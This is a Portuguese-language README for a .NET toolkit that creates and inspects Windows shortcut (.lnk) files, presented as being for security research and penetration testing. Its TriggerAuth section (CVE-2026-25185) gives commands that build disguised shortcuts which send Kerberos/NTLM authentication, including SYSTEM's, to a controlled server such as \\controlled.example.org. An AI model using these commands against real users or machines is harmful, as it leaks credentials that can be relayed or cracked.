
Ferramentas de criação e pesquisa de Lnk
Um kit de ferramentas .NET 8 para criar e analisar arquivos Windows Shell Link (.lnk). Inclui um construtor de linha de comando (LnkMeMaybe) e um editor gráfico (LnkUi). Destinado a pesquisa de segurança e testes de penetração.
| Projeto | Descrição |
|---|---|
Lnk/ | Biblioteca principal. Analisa e gera o formato binário .lnk de acordo com a especificação MS-SHLLINK. LnkHandler é o ponto de entrada principal, compondo ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData e ExtraData. |
LnkMeMaybe/ | Ferramenta CLI. Comandos para gerar uma variedade de arquivos .lnk. Utiliza o framework Titanis.Cli. |
LnkUi/ | Editor desktop MVVM em Avalonia 11. Sete ViewModels encapsulam os componentes correspondentes da biblioteca Lnk. Útil para exploração e inspeção manual de arquivos .lnk. |
LnkTests/ | Suíte MSTest. Amostras reais de arquivos .lnk são incorporadas como recursos. Abrange ShellLinkHeader e LinkInfo. |
Todos os comandos compartilham os seguintes parâmetros base (de BaseSavedCommand):
| Parâmetro | Alias | Obrigatório | Descrição |
|---|---|---|---|
--OutputPath | Sim | Caminho no sistema de arquivos para gravar o arquivo .lnk. | |
--Overwrite | Não | Permite sobrescrever um arquivo existente em OutputPath. | |
--DisplayName | Não | Texto exibido ao passar o mouse sobre o atalho. Suporta \n para novas linhas. | |
--IconPath / -I | -I | Não | Caminho para um .exe ou .dll a ser usado como ícone do atalho. Deve existir no sistema de destino. |
--IconIndex | Não | Índice do recurso de ícone no arquivo especificado por --IconPath. Padrão: 0. |
TriggerAuth (CVE-2026-25185)Cria um .lnk que dispara autenticação Kerberos (com fallback para NTLM) para um servidor especificado. O .lnk não executa nada.
Cenários em que a autenticação é disparada:
.lnk — a conta do usuário realiza autenticação de saída..lnk é colocado em um local que a máquina está configurada para indexar — SearchProtocolHost autentica como SYSTEM.MSSense.exe autentica como SYSTEM.Parâmetros:
| Parâmetro | Alias | Obrigatório | Descrição |
|---|---|---|---|
--FakePath / -F | -F | Sim | Caminho exibido como destino nas propriedades do .lnk. |
--Server / -S | -S | Sim | Hostname, IP ou caminho UNC do servidor para o qual a autenticação será enviada. Acrescenta IPC$ se nenhum compartilhamento for especificado. |
--Darwin | Não | Identificador Darwin armazenado no .lnk. Pode ser qualquer valor. Padrão: unset. |
Exemplos:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutCria um arquivo .lnk que aponta para uma URL web. Normalmente, o Windows cria um arquivo .url para atalhos da web; este comando produz um .lnk em vez disso.
Parâmetros:
| Parâmetro | Obrigatório | Descrição |
|---|---|---|
--Url | Sim | A URL para a qual o atalho deve apontar. Deve ser uma URI absoluta bem formada. |
Exemplo:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutCria um atalho padrão do Windows para um arquivo ou pasta local. O caminho de destino é armazenado como uma lista de IDs de itens de shell (PIDL) — o formato nativo que o Windows usa para atalhos do sistema de arquivos.
Parâmetros:
| Parâmetro | Alias | Obrigatório | Descrição |
|---|---|---|---|
--TargetPath | Sim | Caminho absoluto para o arquivo ou pasta de destino. | |
--Arguments | Não | Argumentos de linha de comando a serem passados ao destino. | |
--WorkingDirectory | -W | Não | Diretório de trabalho para o processo de destino. |
--RunAsAdmin | Não | Solicita elevação de UAC quando o atalho é iniciado. | |
--ShowCommand | Não | Estado da janela ao iniciar: Normal, Maximized ou Minimized. |
Exemplos:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutCria um .lnk em que o caminho de destino é armazenado como uma string expansível de variável de ambiente (EnvironmentVariableDataBlock). Este é o formato que o Windows usa para atalhos para executáveis do sistema (ex.: %SystemRoot%\system32\notepad.exe). As variáveis são expandidas no momento da execução, tornando o atalho portátil entre instalações do Windows.
Parâmetros:
| Parâmetro | Alias | Obrigatório | Descrição |
|---|---|---|---|
--TargetPath | Sim | Caminho de destino; pode incluir variáveis de ambiente como %SystemRoot% ou %USERPROFILE%. | |
--Arguments | Não | Argumentos de linha de comando a serem passados ao destino. | |
--WorkingDirectory | -W | Não | Diretório de trabalho para o processo de destino. |
--RunAsAdmin | Não | Solicita elevação de UAC quando o atalho é iniciado. | |
--ShowCommand | Não | Estado da janela ao iniciar: Normal, Maximized ou Minimized. |
Exemplos:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Binários pré-compilados para Windows, Linux e macOS (x64 e arm64) estão disponíveis na página de Lançamentos.
Cada lançamento inclui compilações independentes (standalone) (sem necessidade de runtime .NET) e dependentes de framework (requerem o runtime .NET 8) para LnkMeMaybe e LnkUi.
Sistemas de IA foram usados para as seguintes tarefas:
Todo o restante do código presente neste repositório foi criado e revisado por humanos.